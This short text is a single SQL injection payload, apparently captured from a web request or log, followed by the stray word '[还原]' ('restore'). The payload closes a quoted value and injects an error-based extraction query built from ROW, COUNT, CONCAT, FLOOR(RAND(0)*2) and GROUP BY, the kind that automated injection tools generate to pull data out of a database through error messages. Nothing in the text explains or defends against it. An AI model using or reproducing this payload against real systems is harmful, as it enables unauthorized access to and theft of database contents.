atestu' AND ROW(4489,4490)>(SELECT COUNT(*),CONCAT('b2e6aZ4U',(SELECT (CASE WHEN (4489=4489) THEN 1 ELSE 0 END)),'b2e6aZ4U',FLOOR(RAND(0)*2))x FROM (SELECT 4491 UNION SELECT 4492 UNION SELECT 4493 UNION SELECT 4494)a GROUP BY x) AND 'b2e6aZ4U'='b2e6aZ4U

[还原]